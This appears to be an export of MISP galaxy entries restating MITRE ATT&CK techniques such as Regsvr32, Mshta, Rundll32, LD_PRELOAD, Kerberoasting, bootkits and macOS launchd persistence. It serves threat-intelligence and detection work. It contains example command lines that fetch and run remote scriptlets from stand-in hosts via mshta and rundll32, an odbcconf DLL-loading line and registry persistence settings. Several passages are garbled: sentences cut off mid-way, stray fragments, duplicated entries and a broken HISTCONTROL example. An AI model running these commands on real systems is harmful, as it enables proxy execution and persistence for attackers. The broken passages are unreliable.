Adversaries may abuse the `<code>Launchd</code>` daemon to perform task scheduling for initial or recurring execution of malicious code. The `<code>launchd</code>` daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in `<code>/System/Library/LaunchDaemons</code>` and `<code>/Library/LaunchDaemons</code>` (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the `<code>launchd</code>` daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. `<code>launchd</code>` can also be abused to run a process under the context of a specified account. Daemons, such as `<code>launchd</code>`, run with the permissions of the root user account, and will operate regardless of which user account is logged in.

The tag is: `misp-galaxy:mitre-attack-pattern="Launchd - T1053.004"`

</tr>
</tbody>
</table>

### Python - T1059.006

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the `<code>python.exe</code>` interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.

The tag is: `misp-galaxy:mitre-attack-pattern="Python - T1059.006"`

</tbody>
</table>

### Regsvr32 - T1218.010

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. `Regsvr32.exe` is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. `Regsvr32.exe` is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)

Malicious usage of `Regsvr32.exe` may avoid triggering security tools that may not monitor execution of, and modules loaded by, the `regsvr32.exe` process because of allowlists or false positives from Windows using `regsvr32.exe` for normal operations. `Regsvr32.exe` can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since `Regsvr32.exe` is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during...
This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)

</tr>
</tbody>
</table>

MSBuild - T1127.001

Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations. (Citation: MSDN MSBuild)

Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into an XML project file. (Citation: MSDN MSBuild) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)

The tag is: <code>misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001"</code>

### CMSTP - T1218.003

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to [Bypass User Access Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

InstallUtil - T1218.004

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system:

<code>C:\Windows\Microsoft.NET\Framework\v&lt;version&gt;\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v&lt;version&gt;\InstallUtil.exe</code>.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)

The tag is: <code>misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004"</code>

Mshta - T1218.005

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject("script:https://webserver/payload.sct")"))</code>

They may also be executed directly from URLs: <code>mshta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The tag is: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005"

---

Msiexec - T1218.007

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse.

The tag is: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"
Odbcconf - T1218.008

Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names. (Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a `REGSVR` flag that can be misused to execute DLLs (ex: `odbcconf.exe /S /A &{REGSVR "C:\Users\Public\file.dll"}&`). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)

Keychain - T1555.001

Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in `~/Library/Keychains/`, `~/Library/Keychains/`, and `~/Network/Library/Keychains/`. (Citation: Wikipedia keychain) The `security` command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user's logon credentials.

The tag is: `misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"`

</table>
Launchctl - T1569.001

Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)

By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)

Running a command from launchctl is as simple as `<code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>`. Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.

The tag is: `misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001"`

Bootkit - T1542.003

Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

The tag is: `misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"`

Table 2944. Table References
HISTCONTROL - T1562.003

Adversaries may configure <code>HISTCONTROL</code> to not log all command history. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.

This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ls” will not be saved, but “ls” would be saved by history.

Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.

The tag is: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1562.003"

Screensaver - T1546.002

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32</code>, and <code>C:\Windows\sysWOW64</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop</code>) and could be manipulated to achieve persistence:

- <code>SCRNSAVE.exe</code> - set to malicious PE path
- <code>ScreenSaveActive</code> - set to ‘1’ to enable the screensaver
- <code>ScreenSaverIsSecure</code> - set to ‘0’ to not require a password to unlock
• `<code>ScreenSaveTimeout</code>` - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002"

### Kerberoasting - T1558.003

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110). (Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service) (Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)

The tag is: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"

1193
**Trap - T1546.005**

Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The `<code>trap</code>` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like `<code>ctrl+c</code>` and `<code>ctrl+d</code>`.

Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format `<code>trap 'command list' signals</code>` where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: `misp-galaxy:mitre-attack-pattern="Trap - T1546.005"`

---

**LD_PRELOAD - T1574.006**

Adversaries may execute their own malicious payloads by hijacking the dynamic linker used to load libraries. The dynamic linker is used to load shared library dependencies needed by an executing program. The dynamic linker will typically check provided absolute paths and common directories for these dependencies, but can be overridden by shared objects specified by LD_PRELOAD to be loaded before all others.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)

Adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or `<code>/etc/ld.so.preload</code>` file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD with be loaded and mapped into memory by
LD_PRELOAD hijacking may grant access to the victim process’s memory, system/network resources, and possibly elevated privileges. Execution via LD_PRELOAD hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: **misp-galaxy:mitre-attack-pattern="LD_PRELOAD - T1574.006"**

### Rundll32 - T1218.011

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.

Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions `<code>Control_RunDLL</code>` and `<code>Control_RunDLLAsUser</code>`. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `<code>rundll32.exe javascript:\\mshtml\RunHTMLApplication ";document.write();GetObject("script:https[]://www[].example[].com/malicious.sct")\"</code>` This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

The tag is: **misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"**
COR_PROFILER - T1574.012

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017) (Citation: Microsoft COR_PROFILER Feb 2013)

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable. (Citation: Microsoft COR_PROFILER Feb 2013)

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Access Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes. (Citation: RedCanary Mockingbird May 2020) (Citation: Red Canary COR_PROFILER May 2020) (Citation: Almond COR_PROFILER Apr 2019) (Citation: GitHub OmerYa Invisi-Shell) (Citation: subTee .NET Profilers May 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012"`

Emond - T1546.014

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules
engine, and takes action. The emond binary at `<code>/sbin/emond</code>` will load any rules from the `<code>/etc/emond.d/rules/</code>` directory and take action once an explicitly defined event takes place.

The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `<code>/private/var/db/emondClients</code>`, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at `<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>`(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.

The tag is: `misp-galaxy:mitre-attack-pattern="Emond - T1546.014"`

**Rc.common - T1163**

During the boot process, macOS executes `<code>source /etc/rc.common</code>`, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).

The tag is: `misp-galaxy:mitre-attack-pattern="Rc.common - T1163"`

Proxy - T1090

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

**Mshta - T1170**

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension `<code>.hta</code>`. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript
through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: `<code>mshta vbscript:Close(Execute("GetObject("'script:http[s:]//webserver/payload[.]sct'")))</code>`

They may also be executed directly from URLs: `<code>mshta http[s:]//webserver/payload[.]hta</code>`

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

**Screensaver - T1180**

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in `<code>C:\Windows\System32\</code>`, and `<code>C:\Windows\sysWOW64\</code>` on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry `<code>HKCU\Control Panel\Desktop\</code> and could be manipulated to achieve persistence:

- `<code>SCRNSAVE.exe</code>` - set to malicious PE path
• `<code>ScreenSaveActive</code>` - set to '1' to enable the screensaver
• `<code>ScreenSaverIsSecure</code>` - set to '0' to not require a password to unlock
• `<code>ScreenSaveTimeout</code>` - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

• revoked-by: `misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002"` with estimative-language:likelihood-probability="almost-certain"

### Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `<code>Control_RunDLL</code>` and `<code>Control_RunDLLAsUser</code>`. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `<code>rundll32.exe javascript:\\mshtml\RunHTMLApplication ":document.write();GetObject("script:https://www.example.com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Kerberoasting - T1208

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: 1202)
Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)

### Masquerading - T1036

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036). (Citation: LOLBAS Main Site)

Scripting - T1064

This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)
Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

**Master Boot Record**

The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

**Volume Boot Record**

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

The tag is: `misp-galaxy:mitre-attack-pattern="Bootkit - T1067"`

Bootkit - T1067 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"` with estimative-language:likelihood-probability="almost-certain"

**PowerShell - T1086**

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

The tag is: misp-galaxy:mitre-attack-pattern="PowerShell - T1086"

Regsvr32 - T1117

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)

-language:likelihood-probability="almost-certain"</code>
Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user's logon credentials.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Keychain - T1142"</code>

Keychain - T1142 has relationships with:

- revoked-by: <code>misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"

Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By
loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as `<code>launchctl submit -l <labelName> —/Path/to/thing/to/execute "arg" "arg" "arg"</code>`. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

The tag is: `misp-galaxy:mitre-attack-pattern="Launchctl - T1152"`

Launchctl - T1152 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001"` with estimative-language:likelihood-probability="almost-certain"

**Source - T1153**

This technique has been deprecated and should no longer be used.

